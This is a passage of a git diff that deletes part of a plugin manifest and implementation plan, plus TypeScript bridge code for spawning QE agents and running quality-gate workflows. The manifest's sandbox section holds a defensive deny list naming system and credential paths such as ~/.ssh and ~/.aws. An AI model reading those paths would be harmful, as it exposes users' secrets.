- vectorDimension: 384
- hnswConfig:
- m: 16
- efConstruction: 200
- efSearch: 100
- ttl: null # Permanent
-
-# Security sandbox configuration
-sandbox:
- maxExecutionTime: 30000 # 30s
- memoryLimit: 536870912 # 512MB
- networkPolicy: restricted
- fileSystemPolicy: workspace-only
- allowedCommands:
- - node
- - npm
- - npx
- - vitest
- - jest
- - pytest
- blockedPaths:
- - /etc
- - /var
- - ~/.ssh
- - ~/.aws
-
-# Model routing (TinyDancer alignment with ADR-026)
-modelRouting:
- tiers:
- tier1:
- handler: agent-booster
- categories:
- - add-test-import
- - add-test-describe
- - add-assertion
- - remove-console
- latency: "<1ms"
- cost: 0
-
- tier2:
- handler: haiku
- categories:
- - generate-unit-test
- - generate-mock
- - analyze-coverage-line
- - validate-simple-contract
- latency: "~500ms"
- cost: 0.0002
-
- tier2-sonnet:
- handler: sonnet
- categories:
- - generate-integration-test
- - analyze-coverage-branch
- - predict-defect-simple
- - validate-contract
- latency: "~2s"
- cost: 0.003
-
- tier3:
- handler: opus
- categories:
- - generate-e2e-test
- - root-cause-analysis
- - chaos-experiment-design
- - security-audit-deep
- - architecture-analysis
- latency: "~5s"
- cost: 0.015
-
-# Performance targets
-performance:
- testGenerationLatency: "<2s"
- coverageAnalysis: "O(log n)"
- qualityGateEvaluation: "<500ms"
- securityScanPerKLOC: "<10s"
- mcpToolResponse: "<100ms"
- memoryPerContext: "<50MB"
-
-# V3 domain integration mapping
-integration:
- memory:
- type: shared-kernel
- components:
- - AgentDB
- - HNSW
- - Embeddings
- - ReasoningBank
-
- security:
- type: conformist
- components:
- - PathValidator
- - SafeExecutor
- - TokenGenerator
- - InputValidator
-
- core:
- type: customer-supplier
- components:
- - AgentService
- - TaskService
- - WorkflowService
-
- coordination:
- type: shared-kernel
- components:
- - HiveMind
- - Consensus
- - Broadcast
- - SharedMemory
-
- mcp:
- type: published-language
- components:
- - ToolRegistry
- - ToolHandler
-
-# ═══════════════════════════════════════════════════════════════════════════════
-# IMPLEMENTATION STATUS & PLAN
-# ═══════════════════════════════════════════════════════════════════════════════
-
-implementation:
- status: in-progress # planning | in-progress | complete
- lastUpdated: "2026-04-06"
- reviewedBy: "code-reviewer"
- reviewDate: "2026-01-23"
-
- # Code Review Results
- codeReview:
- overallStatus: "architecture-complete"
- performanceTargetsMet: "pending-implementation"
- securityIssuesFound: 0
- documentationComplete: true
- testCoverage: "0%"
-
- # Performance Assessment
- performanceAssessment:
- testGenerationLatency:
- target: "<2s"
- achievable: true
- notes: "Depends on TinyDancer routing tier"
- coverageAnalysis:
- target: "O(log n)"
- achievable: true
- notes: "Johnson-Lindenstrauss projection validated"
- qualityGateEvaluation:
- target: "<500ms"
- achievable: true
- notes: "With metric caching"
- securityScanPerKLOC:
- target: "<10s"
- achievable: true
- notes: "Parallel AST scanning"
- mcpToolResponse:
- target: "<100ms"
- achievable: true
- notes: "Standard V3 requirement"
- memoryPerContext:
- target: "<50MB"
- achievable: true
- notes: "Bounded context isolation"
-
- # Architecture Quality
- architectureQuality:
- ddpPrinciples: true
- solidCompliance: "pending-verification"
- typeScriptStrict: "pending"
- zodValidation: "pending"
- errorHandling: "pending"
-
- # Integration Readiness
- integrationReadiness:
- pluginRegistration: "architecture-defined"
- mcpToolDiscovery: "architecture-defined"
- hookIntegration: "architecture-defined"
- memoryNamespaceIsolation: "architecture-defined"
-
- # Critical Path Items
- criticalPathItems:
- - "Phase 1: Plugin scaffold must be completed first"
- - "Phase 2: Bridge implementations before MCP tools"
- - "Phase 4: Security sandbox is critical for test execution"
-
- # Recommendations
- recommendations:
- - "Implement WASM lazy loading for faster startup"
- - "Add caching layer for frequently used test patterns"
- - "Batch MCP tool operations where possible"
- - "Keep individual files under 500 lines"
- - "Add comprehensive JSDoc comments to public APIs"
-
- # What exists vs what needs to be built
- files:
- existing:
- - path: plugin.yaml
- status: complete
- description: Plugin manifest with full configuration
- - path: README.md
- status: complete
- description: Usage documentation
-
- required:
- # Phase 1: Plugin Scaffold
- - path: package.json
- status: pending
- phase: 1
- priority: critical
- estimatedLines: 50
-
- - path: tsconfig.json
- status: pending
- phase: 1
- priority: critical
- estimatedLines: 30
-
- - path: src/index.ts
- status: pending
- phase: 1
- priority: critical
- estimatedLines: 80
- description: Plugin entry point and exports
-
- - path: src/plugin.ts
- status: pending
- phase: 1
- priority: critical
- estimatedLines: 200
- description: AQEPlugin class with lifecycle methods
-
- - path: src/types.ts
- status: pending
- phase: 1
- priority: critical
- estimatedLines: 300
- description: TypeScript type definitions
-
- - path: src/interfaces.ts
- status: pending
- phase: 1
- priority: critical
- estimatedLines: 200
- description: Public interfaces
-
- - path: src/schemas.ts
- status: pending
- phase: 1
- priority: critical
- estimatedLines: 250
- description: Zod validation schemas
-
- - path: src/constants.ts
- status: pending
- phase: 1
- priority: high
- estimatedLines: 100
- description: Plugin constants and defaults
-
- # Phase 2: Bridge Implementations
- - path: src/bridges/index.ts
- status: pending
- phase: 2
- priority: critical
- estimatedLines: 50
-
- - path: src/bridges/QEMemoryBridge.ts
- status: pending
- phase: 2
- priority: critical
- estimatedLines: 300
- description: Memory domain integration (AgentDB, HNSW)
-
- - path: src/bridges/QESecurityBridge.ts
- status: pending
- phase: 2
- priority: critical
- estimatedLines: 250
- description: Security domain integration (PathValidator, SafeExecutor)
-
- - path: src/bridges/QECoreBridge.ts
- status: pending
- phase: 2
- priority: critical
- estimatedLines: 250
- description: Core domain integration (AgentService, TaskService)
-
- - path: src/bridges/QEHiveBridge.ts
- status: pending
- phase: 2
- priority: critical
- estimatedLines: 300
- description: Hive Mind coordination (Queen, Consensus)
-
- - path: src/bridges/QEModelRoutingAdapter.ts
- status: pending
- phase: 2
- priority: high
- estimatedLines: 200
- description: TinyDancer ↔ ADR-026 adapter
-
- - path: src/contexts/ContextMapper.ts
- status: pending
- phase: 2
- priority: high
- estimatedLines: 150
- description: Maps 12 QE contexts to V3 domains
-
- # Phase 3: MCP Tools (16 tools)
- - path: src/tools/index.ts
- status: pending
- phase: 3
- priority: critical
- estimatedLines: 100
- description: Tool registry and registration
-
- - path: src/tools/test-generation/generate-tests.ts
- status: pending
- phase: 3
- priority: critical
- estimatedLines: 150
-
- - path: src/tools/test-generation/tdd-cycle.ts
- status: pending
- phase: 3
- priority: critical
- estimatedLines: 200
-
- - path: src/tools/coverage-analysis/analyze-coverage.ts
- status: pending
- phase: 3
- priority: critical
- estimatedLines: 150
-
- - path: src/tools/coverage-analysis/prioritize-gaps.ts
- status: pending
- phase: 3
- priority: critical
- estimatedLines: 120
-
- - path: src/tools/quality-assessment/evaluate-quality-gate.ts
- status: pending
- phase: 3
- priority: high
- estimatedLines: 150
-
- - path: src/tools/quality-assessment/assess-readiness.ts
- status: pending
- phase: 3
- priority: high
- estimatedLines: 120
-
- - path: src/tools/defect-intelligence/predict-defects.ts
- status: pending
- phase: 3
- priority: high
- estimatedLines: 150
-
- - path: src/tools/defect-intelligence/analyze-root-cause.ts
- status: pending
- phase: 3
- priority: high
- estimatedLines: 180
-
- - path: src/tools/security-compliance/security-scan.ts
- status: pending
- phase: 3
- priority: high
- estimatedLines: 200
-
- - path: src/tools/security-compliance/audit-compliance.ts
- status: pending
- phase: 3
- priority: high
- estimatedLines: 150
-
- - path: src/tools/contract-testing/validate-contract.ts
- status: pending
- phase: 3
- priority: medium
- estimatedLines: 150
-
- - path: src/tools/contract-testing/compare-contracts.ts
- status: pending
- phase: 3
- priority: medium
- estimatedLines: 130
-
- - path: src/tools/visual-accessibility/visual-regression.ts
- status: pending
- phase: 3
- priority: medium
- estimatedLines: 180
-
- - path: src/tools/visual-accessibility/check-accessibility.ts
- status: pending
- phase: 3
- priority: medium
- estimatedLines: 150
-
- - path: src/tools/chaos-resilience/chaos-inject.ts
- status: pending
- phase: 3
- priority: medium
- estimatedLines: 200
-
- - path: src/tools/chaos-resilience/assess-resilience.ts
- status: pending
- phase: 3
- priority: medium
- estimatedLines: 150
-
- # Phase 4: Hooks & Workers
- - path: src/hooks/index.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 50
-
- - path: src/hooks/pre-test-execution.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 100
-
- - path: src/hooks/pre-security-scan.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 100
-
- - path: src/hooks/post-test-execution.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 120
-
- - path: src/hooks/post-coverage-analysis.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 100
-
- - path: src/hooks/post-security-scan.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 120
-
- - path: src/workers/index.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 50
-
- - path: src/workers/TestExecutorWorker.ts
- status: pending
- phase: 4
- priority: high
- estimatedLines: 200
-
- - path: src/workers/CoverageAnalyzerWorker.ts
- status: pending
- phase: 4
- priority: medium
- estimatedLines: 150
-
- - path: src/workers/SecurityScannerWorker.ts
- status: pending
- phase: 4
- priority: medium
- estimatedLines: 180
-
- - path: src/sandbox/index.ts
- status: pending
- phase: 4
- priority: critical
- estimatedLines: 50
-
- - path: src/sandbox/TestSandbox.ts
- status: pending
- phase: 4
- priority: critical
- estimatedLines: 250
- description: Isolated test code execution
-
- - path: src/sandbox/SandboxPolicy.ts
- status: pending
- phase: 4
- priority: critical
- estimatedLines: 100
-
- # Phase 5: Agent Definitions (58 total)
- - path: agents/**/*.yaml
- status: pending
- phase: 5
- priority: high
- count: 58
- estimatedLinesEach: 40
- description: "12 test-gen + 8 test-exec + 6 coverage + 5 quality + 4 defect + 3 requirements + 5 code-intel + 4 security + 3 contract + 3 visual + 4 chaos + 2 learning + 7 TDD"
-
- # Phase 6: Skills (12 total)
- - path: skills/qe-test-generation.md
- status: pending
- phase: 6
- priority: high
- estimatedLines: 100
-
- - path: skills/qe-tdd-cycle.md
- status: pending
- phase: 6
- priority: high
- estimatedLines: 120
-
- - path: skills/qe-coverage-analysis.md
- status: pending
- phase: 6
- priority: high
- estimatedLines: 100
-
- - path: skills/qe-quality-gate.md
- status: pending
- phase: 6
- priority: high
- estimatedLines: 100
-
- - path: skills/qe-defect-prediction.md
- status: pending
- phase: 6
- priority: medium
- estimatedLines: 100
-
- - path: skills/qe-security-scan.md
- status: pending
- phase: 6
- priority: high
- estimatedLines: 120
-
- - path: skills/qe-contract-testing.md
- status: pending
- phase: 6
- priority: medium
- estimatedLines: 100
-
- - path: skills/qe-visual-testing.md
- status: pending
- phase: 6
- priority: medium
- estimatedLines: 100
-
- - path: skills/qe-accessibility.md
- status: pending
- phase: 6
- priority: medium
- estimatedLines: 100
-
- - path: skills/qe-chaos-engineering.md
- status: pending
- phase: 6
- priority: medium
- estimatedLines: 120
-
- - path: skills/qe-queen-coordinator.md
- status: pending
- phase: 6
- priority: high
- estimatedLines: 150
-
- - path: skills/qe-full-pipeline.md
- status: pending
- phase: 6
- priority: high
- estimatedLines: 200
-
- # Phase 7: Tests
- - path: vitest.config.ts
- status: pending
- phase: 7
- priority: high
- estimatedLines: 40
-
- - path: __tests__/unit/**/*.test.ts
- status: pending
- phase: 7
- priority: high
- count: 15
- estimatedLinesEach: 100
-
- - path: __tests__/integration/**/*.test.ts
- status: pending
- phase: 7
- priority: high
- count: 5
- estimatedLinesEach: 150
-
- - path: __tests__/e2e/**/*.test.ts
- status: pending
- phase: 7
- priority: medium
- count: 3
- estimatedLinesEach: 200
-
- # Phase summary
- phases:
- - phase: 1
- name: Plugin Scaffold
- status: pending
- duration: "1 week"
- files: 8
- estimatedLines: 1210
- deliverables:
- - Plugin registers with @claude-flow/plugins SDK
- - Type-safe configuration validation
- - Basic lifecycle hooks (onLoad, onUnload)
-
- - phase: 2
- name: Bridge Implementations
- status: pending
- duration: "1 week"
- files: 7
- estimatedLines: 1500
- deliverables:
- - Anti-corruption layer isolates agentic-qe from V3 internals
- - Memory namespace coordination working
- - TinyDancer ↔ ADR-026 routing aligned
-
- - phase: 3
- name: MCP Tools
- status: pending
- duration: "1 week"
- files: 17
- estimatedLines: 2530
- deliverables:
- - All 16 MCP tools registered and functional
- - Tools accessible via mcp__agentic-qe__<tool-name>
- - Input validation via Zod schemas
-
- - phase: 4
- name: Hooks & Workers
- status: pending
- duration: "1 week"
- files: 12
- estimatedLines: 1470
- deliverables:
- - Hooks integrate with V3 hook system
- - Workers run in background with concurrency limits
- - Sandbox isolates test code execution
-
- - phase: 5
- name: Agent Definitions
- status: pending
- duration: "1 week"
- files: 58
- estimatedLines: 2320
- deliverables:
- - All 58 agents (51 + 7 TDD) defined as YAML
- - Agents spawn via Claude Code Task tool
- - Model routing hints in agent definitions
-
- - phase: 6
- name: Skills & Examples
- status: pending
- duration: "1 week"
- files: 18
- estimatedLines: 1610
- deliverables:
- - Skills available via /qe-* commands
- - Working examples for all major use cases
-
- - phase: 7
- name: Testing & Documentation
- status: pending
- duration: "1 week"
- files: 24
- estimatedLines: 2790
- deliverables:
- - 80%+ test coverage
- - All integration points validated
- - Performance benchmarks documented
-
- # Totals
- totals:
- totalPhases: 7
- totalDuration: "7 weeks"
- totalFiles: 144
- totalEstimatedLines: 13430
-
- # Critical path
- criticalPath:
- - phase: 1
- blockedBy: null
- blocks: [2, 3, 4, 5, 6, 7]
-
- - phase: 2
- blockedBy: [1]
- blocks: [3, 4]
-
- - phase: 3
- blockedBy: [2]
- blocks: [5, 6]
-
- - phase: 4
- blockedBy: [2]
- blocks: [6, 7]
-
- - phase: 5
- blockedBy: [3]
- blocks: [6, 7]
-
- - phase: 6
- blockedBy: [4, 5]
- blocks: [7]
-
- - phase: 7
- blockedBy: [6]
- blocks: null
diff --git a/v3/plugins/agentic-qe/src/bridges/QECoreBridge.ts b/v3/plugins/agentic-qe/src/bridges/QECoreBridge.ts
deleted file mode 100644
index a3a82a02e6..0000000000
--- a/v3/plugins/agentic-qe/src/bridges/QECoreBridge.ts
+++ /dev/null
@@ -1,601 +0,0 @@
-/**
- * QE Core Bridge
- *
- * Anti-corruption layer for V3 core services integration.
- * Handles agent spawning, task orchestration, workflow execution,
- * and configuration access for QE operations.
- *
- * Integrates with V3 Core services:
- * - AgentService: Agent spawning and lifecycle
- * - TaskService: Task creation and orchestration
- * - WorkflowService: Workflow execution
- * - ConfigService: Configuration access
- *
- * Based on:
- * - ADR-030: Agentic-QE Plugin Integration
- * - ADR-003: Single Coordination Engine
- *
- * @module v3/plugins/agentic-qe/bridges/QECoreBridge
- */
-
-import type {
- IQECoreBridge,
- TestSuite,
- ExecutorConfig,
- AgentHandle,
- TaskHandle,
- TaskResult,
- TaskProgress,
- QualityGate,
- QualityMetrics,
- WorkflowResult,
- StepResult,
- Priority,
- QELogger,
-} from '../interfaces.js';
-
-// V3 Core types (would be imported from @claude-flow/core in production)
-interface IAgentService {
- spawn(config: AgentSpawnConfig): Promise<SpawnedAgent>;
- terminate(agentId: string): Promise<void>;
- sendMessage(agentId: string, message: Record<string, unknown>): Promise<void>;
- list(filter?: AgentFilter): Promise<SpawnedAgent[]>;
- get(agentId: string): Promise<SpawnedAgent | null>;
-}
-
-interface AgentSpawnConfig {
- type: string;
- name: string;
- capabilities: string[];
- config?: Record<string, unknown>;
- model?: 'haiku' | 'sonnet' | 'opus' | 'inherit';
-}
-
-interface SpawnedAgent {
- id: string;
- type: string;
- name: string;
- status: 'spawning' | 'ready' | 'busy' | 'error' | 'terminated';
- capabilities: string[];
- metrics?: AgentMetrics;
-}
-
-interface AgentMetrics {
- tasksCompleted: number;
- tasksFailed: number;
- avgDurationMs: number;
-}
-
-interface AgentFilter {
- type?: string;
- status?: string;
-}
-
-interface ITaskService {
- create(config: TaskCreateConfig): Promise<CreatedTask>;
- getStatus(taskId: string): Promise<TaskStatus>;
- cancel(taskId: string): Promise<void>;
- waitForCompletion(taskId: string): Promise<TaskCompletionResult>;
-}
-
-interface TaskCreateConfig {
- type: string;
- description: string;
- priority: Priority;
- payload: Record<string, unknown>;
- timeout?: number;
- assignTo?: string;
-}
-
-interface CreatedTask {
- id: string;
- type: string;
- status: 'pending' | 'queued' | 'running' | 'completed' | 'failed' | 'cancelled';
-}
-
-interface TaskStatus {
- status: CreatedTask['status'];
- progress?: number;
- currentStep?: string;
- totalSteps?: number;
- completedSteps?: number;
-}
-
-interface TaskCompletionResult {
- success: boolean;
- data?: Record<string, unknown>;
- error?: string;
- durationMs: number;
-}
-
-interface IWorkflowService {
- execute(config: WorkflowExecuteConfig): Promise<WorkflowExecutionResult>;
-}
-
-interface WorkflowExecuteConfig {
- name: string;
- steps: WorkflowStep[];
- failFast?: boolean;
- timeout?: number;
-}
-
-interface WorkflowStep {
- name: string;
- type: 'condition' | 'task' | 'parallel' | 'loop';
- config: Record<string, unknown>;
-}
-
-interface WorkflowExecutionResult {
- workflowId: string;
- success: boolean;
- stepResults: Array<{
- name: string;
- passed: boolean;
- output?: Record<string, unknown>;
- error?: string;
- durationMs: number;
- }>;
- durationMs: number;
- output?: Record<string, unknown>;
-}
-
-interface IConfigService {
- get<T>(key: string): Promise<T | undefined>;
- getAll(): Promise<Record<string, unknown>>;
-}
-
-/**
- * QE Agent type configurations
- */
-const QE_AGENT_CONFIGS: Record<string, Partial<AgentSpawnConfig>> = {
- 'qe-test-executor': {
- capabilities: ['test-execution', 'parallel-processing', 'result-aggregation'],
- model: 'sonnet',
- },
- 'qe-coverage-analyzer': {
- capabilities: ['coverage-analysis', 'gap-detection', 'priority-ranking'],
- model: 'haiku',
- },
- 'qe-security-scanner': {
- capabilities: ['sast', 'dast', 'compliance-checking'],
- model: 'opus',
- },
- 'qe-quality-assessor': {
- capabilities: ['quality-gate-evaluation', 'risk-assessment'],
- model: 'sonnet',
- },
- 'qe-defect-predictor': {
- capabilities: ['defect-prediction', 'root-cause-analysis'],
- model: 'opus',
- },
-};
-
-/**
- * QE Core Bridge Implementation
- *
- * Bridges agentic-qe core needs to V3's core services.
- * Manages agent spawning, task orchestration, and workflows.
- */
-export class QECoreBridge implements IQECoreBridge {
- private agents: IAgentService;
- private tasks: ITaskService;
- private workflows: IWorkflowService;
- private config: IConfigService;
- private logger: QELogger;
- private activeHandles: Map<string, AgentHandleImpl | TaskHandleImpl> = new Map();
-
- constructor(
- agents: IAgentService,
- tasks: ITaskService,
- workflows: IWorkflowService,
- config: IConfigService,
- logger: QELogger
- ) {
- this.agents = agents;
- this.tasks = tasks;
- this.workflows = workflows;
- this.config = config;
- this.logger = logger;
- }
-
- /**
- * Spawn a test execution agent via V3 Core
- */
- async spawnTestExecutor(
- testSuite: TestSuite,
- config: ExecutorConfig
- ): Promise<AgentHandle> {
- try {
- this.logger.info(`Spawning test executor for suite: ${testSuite.name}`);
-
- const agentConfig = QE_AGENT_CONFIGS['qe-test-executor'];
-
- const spawnedAgent = await this.agents.spawn({
- type: 'qe-test-executor',
- name: `test-executor-${testSuite.id}`,
- capabilities: [
- ...agentConfig.capabilities!,
- testSuite.framework, // Add framework-specific capability
- ],
- config: {
- testSuiteId: testSuite.id,
- parallel: config.parallel,
- maxWorkers: config.maxWorkers,
- retryCount: config.retryCount,
- timeout: config.timeout,
- testCount: testSuite.testCases.length,
- estimatedDuration: testSuite.estimatedDuration,
- },
- model: agentConfig.model,
- });
-
- const handle = new AgentHandleImpl(
- spawnedAgent,
- this.agents,
- this.logger
- );
-
- this.activeHandles.set(handle.id, handle);
- this.logger.debug(`Spawned test executor: ${handle.id}`);
-
- return handle;
- } catch (error) {
- this.logger.error('Failed to spawn test executor', error);
- throw new QECoreError('Failed to spawn test executor', error as Error);
- }
- }
-
- /**
- * Create a test execution task via V3 Task Service
- */
- async createTestTask(
- testSuite: TestSuite,
- priority: Priority
- ): Promise<TaskHandle> {
- try {
- this.logger.info(`Creating test task for suite: ${testSuite.name} (priority: ${priority})`);
-
- const createdTask = await this.tasks.create({
- type: 'test-execution',
- description: `Execute test suite: ${testSuite.name}`,
- priority,
- payload: {
- testSuiteId: testSuite.id,
- testCount: testSuite.testCases.length,
- framework: testSuite.framework,
- config: testSuite.config,
- },
- timeout: testSuite.estimatedDuration * 2, // 2x safety margin
- });
-
- const handle = new TaskHandleImpl(
- createdTask,
- this.tasks,
- this.logger
- );
-
- this.activeHandles.set(handle.id, handle);
- this.logger.debug(`Created test task: ${handle.id}`);
-
- return handle;
- } catch (error) {
- this.logger.error('Failed to create test task', error);
- throw new QECoreError('Failed to create test task', error as Error);
- }
- }
-
- /**
- * Execute quality gate workflow
- */
- async executeQualityGateWorkflow(
- gates: QualityGate[],
- metrics: QualityMetrics
- ): Promise<WorkflowResult> {
- try {
- this.logger.info(`Executing quality gate workflow with ${gates.length} gates`);
-
- // Build workflow steps from quality gates
- const steps: WorkflowStep[] = gates.map((gate) => ({
- name: `gate-${gate.id}`,
- type: 'condition' as const,
- config: {
- gateId: gate.id,
- gateName: gate.name,
- criteria: gate.criteria,
- metrics,
- required: gate.required,
- weight: gate.weight,
- },
- }));
-
- const result = await this.workflows.execute({
- name: 'quality-gate-evaluation',
- steps,
- failFast: true, // Stop on first required gate failure
- timeout: 30000, // 30s timeout
- });
-
- // Transform to QE format
- const workflowResult: WorkflowResult = {
- workflowId: result.workflowId,
- success: result.success,
- stepResults: result.stepResults.map((step) => this.transformStepResult(step, gates)),
- durationMs: result.durationMs,
- output: this.buildQualityGateOutput(result.stepResults, gates, metrics),
- };
-
- this.logger.info(`Quality gate workflow complete: ${result.success ? 'PASSED' : 'FAILED'}`);
- return workflowResult;
- } catch (error) {
- this.logger.error('Quality gate workflow failed', error);
- throw new QECoreError('Quality gate workflow failed', error as Error);
- }
- }
-
- /**
- * Get configuration value
- */
- async getConfig<T>(key: string): Promise<T | undefined> {
- try {
- return await this.config.get<T>(key);
- } catch (error) {
- this.logger.warn(`Failed to get config: ${key}`, error);
- return undefined;
- }
- }
-
- /**
- * List available agents by type
- */
- async listAgents(filter?: { type?: string; status?: string }): Promise<AgentHandle[]> {
- try {
- this.logger.debug(`Listing agents with filter: ${JSON.stringify(filter)}`);
-
- const agents = await this.agents.list({
- type: filter?.type,
- status: filter?.status,
- });
-
- // Filter to only QE agents
- const qeAgents = agents.filter((a) => a.type.startsWith('qe-'));
-
- return qeAgents.map((agent) => new AgentHandleImpl(agent, this.agents, this.logger));
- } catch (error) {
- this.logger.error('Failed to list agents', error);
- throw new QECoreError('Failed to list agents', error as Error);
- }
- }
-
- /**
- * Get agent by ID
- */
- async getAgent(agentId: string): Promise<AgentHandle | null> {
- try {
- // Check active handles first
- const activeHandle = this.activeHandles.get(agentId);
- if (activeHandle && 'type' in activeHandle) {
- return activeHandle as AgentHandle;
- }
-
- const agent = await this.agents.get(agentId);
- if (!agent) return null;
-
- return new AgentHandleImpl(agent, this.agents, this.logger);
- } catch (error) {
- this.logger.error(`Failed to get agent: ${agentId}`, error);
- return null;
- }
- }
-
- /**
- * Transform workflow step result to QE format
- */
- private transformStepResult(
- step: WorkflowExecutionResult['stepResults'][0],
- gates: QualityGate[]
- ): StepResult {
- const gateId = step.name.replace('gate-', '');
- const gate = gates.find((g) => g.id === gateId);
-
- return {
- name: gate?.name || step.name,
- passed: step.passed,
- output: step.output,
- error: step.error,
- durationMs: step.durationMs,
- };
- }
-
- /**
- * Build quality gate output summary
- */
- private buildQualityGateOutput(
- stepResults: WorkflowExecutionResult['stepResults'],
- gates: QualityGate[],
- metrics: QualityMetrics
- ): Record<string, unknown> {
- const passedGates = stepResults.filter((s) => s.passed).length;
- const failedGates = stepResults.filter((s) => !s.passed).length;
- const requiredFailed = stepResults.filter((s, i) => !s.passed && gates[i]?.required).length;
-
- // Calculate weighted score
- let totalWeight = 0;
- let achievedWeight = 0;
- stepResults.forEach((step, i) => {
- const gate = gates[i];
- if (gate) {
- totalWeight += gate.weight;
- if (step.passed) achievedWeight += gate.weight;
- }
- });
-
- const overallScore = totalWeight > 0 ? (achievedWeight / totalWeight) * 100 : 0;
-
- return {
- summary: {
- passedGates,
- failedGates,
- requiredFailed,
- overallScore: Math.round(overallScore * 10) / 10,
- releaseReady: requiredFailed === 0,
- },
- metrics,
- gateDetails: stepResults.map((step, i) => ({
- id: gates[i]?.id,
- name: gates[i]?.name,
- passed: step.passed,
- required: gates[i]?.required,
- weight: gates[i]?.weight,
- error: step.error,
- })),
- };
- }
-}
-
-/**
- * Agent Handle Implementation
- */
-class AgentHandleImpl implements AgentHandle {
- readonly id: string;
- readonly type: string;
- readonly name: string;
- private _status: AgentHandle['status'];
- private agentService: IAgentService;
- private logger: QELogger;
-
- constructor(
- agent: SpawnedAgent,
- agentService: IAgentService,
- logger: QELogger
- ) {
- this.id = agent.id;
- this.type = agent.type;
- this.name = agent.name;
- this._status = agent.status;
- this.agentService = agentService;
- this.logger = logger;
- }
-
- get status(): AgentHandle['status'] {
- return this._status;
- }
-
- async terminate(): Promise<void> {
- try {
- this.logger.debug(`Terminating agent: ${this.id}`);
- await this.agentService.terminate(this.id);
- this._status = 'terminated';
- } catch (error) {
- this.logger.error(`Failed to terminate agent: ${this.id}`, error);
- throw new QECoreError('Failed to terminate agent', error as Error);
- }
- }
-
- async send(message: Record<string, unknown>): Promise<void> {
- try {
- this.logger.debug(`Sending message to agent: ${this.id}`);
- await this.agentService.sendMessage(this.id, message);
- } catch (error) {
- this.logger.error(`Failed to send message to agent: ${this.id}`, error);
- throw new QECoreError('Failed to send message', error as Error);
- }
- }
-}
-
-/**
- * Task Handle Implementation
- */
-class TaskHandleImpl implements TaskHandle {
- readonly id: string;
- readonly type: string;
- private _status: TaskHandle['status'];
- private taskService: ITaskService;
- private logger: QELogger;
-
- constructor(
- task: CreatedTask,
- taskService: ITaskService,
- logger: QELogger
- ) {
- this.id = task.id;
- this.type = task.type;
- this._status = task.status;
- this.taskService = taskService;
- this.logger = logger;
- }
-
- get status(): TaskHandle['status'] {
- return this._status;
- }
-
- async wait(): Promise<TaskResult> {
- try {
- this.logger.debug(`Waiting for task completion: ${this.id}`);
- const result = await this.taskService.waitForCompletion(this.id);
-
- this._status = result.success ? 'completed' : 'failed';
-
- return {
- taskId: this.id,
- success: result.success,
- data: result.data,
- error: result.error,
- durationMs: result.durationMs,
- };
- } catch (error) {
- this.logger.error(`Failed to wait for task: ${this.id}`, error);
- throw new QECoreError('Failed to wait for task', error as Error);
- }
- }
-
- async cancel(): Promise<void> {
- try {
- this.logger.debug(`Cancelling task: ${this.id}`);
- await this.taskService.cancel(this.id);
- this._status = 'cancelled';
- } catch (error) {
- this.logger.error(`Failed to cancel task: ${this.id}`, error);
- throw new QECoreError('Failed to cancel task', error as Error);
- }
- }
-
- async getProgress(): Promise<TaskProgress> {
- try {
- const status = await this.taskService.getStatus(this.id);
- this._status = status.status;
-
- return {
- percentage: status.progress || 0,
- currentStep: status.currentStep || 'Unknown',
- totalSteps: status.totalSteps || 0,
- completedSteps: status.completedSteps || 0,
- estimatedRemainingMs: this.estimateRemaining(status),
- };
- } catch (error) {
- this.logger.error(`Failed to get task progress: ${this.id}`, error);
- throw new QECoreError('Failed to get progress', error as Error);
- }
- }
-
- private estimateRemaining(status: TaskStatus): number {
- if (!status.totalSteps || !status.completedSteps) return 0;
- if (status.completedSteps >= status.totalSteps) return 0;
-
- // Rough estimate: 1 second per remaining step
- const remainingSteps = status.totalSteps - status.completedSteps;
- return remainingSteps * 1000;
- }
-}
-
-/**
- * QE Core Error class
- */
-export class QECoreError extends Error {
- public readonly cause?: Error;
-
- constructor(message: string, cause?: Error) {
- super(message);
- this.name = 'QECoreError';
- this.cause = cause;
- }
-}
diff --git a/v3/plugins/agentic-qe/src/bridges/QEHiveBridge.ts b/v3/plugins/agentic-qe/src/bridges/QEHiveBridge.ts
deleted file mode 100644
index 2e77912560..0000000000
--- a/v3/plugins/agentic-qe/src/bridges/QEHiveBridge.ts
+++ /dev/null
@@ -1,611 +0,0 @@
-/**
- * QE Hive Bridge
- *
- * Anti-corruption layer for V3 Hive-Mind coordination integration.
- * Handles Queen coordinator registration, worker spawning, consensus,
- * and Byzantine fault-tolerant task execution.
- *
- * Integrates with V3 Hive-Mind services:
- * - Queen role registration for QE coordination
- * - Worker capability announcement
- * - Consensus for agent allocation
- * - Shared memory for coordination state
- *
- * Based on:
- * - ADR-030: Agentic-QE Plugin Integration
- * - ADR-007: Hive-Mind Consensus
- *
- * @module v3/plugins/agentic-qe/bridges/QEHiveBridge
- */
-
-import type {
- IQEHiveBridge,
- HiveRole,
- QESwarmTask,
- QESwarmResult,
- AgentTaskResult,
- ConsensusResult,
- QELogger,
-} from '../interfaces.js';
-
-// V3 Hive-Mind types (would be imported from @claude-flow/coordination in production)
-interface IHiveMindService {
- join(config: HiveJoinConfig): Promise<void>;
- leave(agentId: string): Promise<void>;
- consensus(proposal: ConsensusProposal): Promise<HiveConsensusResult>;
- broadcast(message: HiveBroadcastMessage): Promise<void>;
- memory(operation: HiveMemoryOperation): Promise<HiveMemoryResult>;
- getStatus(): Promise<HiveStatus>;
- getWorkers(): Promise<HiveWorker[]>;
-}
-
-interface HiveJoinConfig {
- agentId: string;
- role: HiveRole;
- capabilities: string[];
- metadata?: Record<string, unknown>;
-}
-
-interface ConsensusProposal {
- action: 'propose' | 'vote' | 'status';
- type?: string;
- value?: Record<string, unknown>;
- proposalId?: string;
- vote?: boolean;
-}
-
-interface HiveConsensusResult {
- accepted: boolean;
- reason?: string;
- votesFor: number;
- votesAgainst: number;
- totalVoters: number;
- proposalId?: string;
-}
-
-interface HiveBroadcastMessage {
- message: string;
- priority: 'low' | 'normal' | 'high' | 'critical';
- fromId: string;
- targetRole?: string;
-}
-
-interface HiveMemoryOperation {
- action: 'get' | 'set' | 'delete' | 'list';
- key?: string;
- value?: string;
-}
-
-interface HiveMemoryResult {
- success: boolean;
- value?: string;
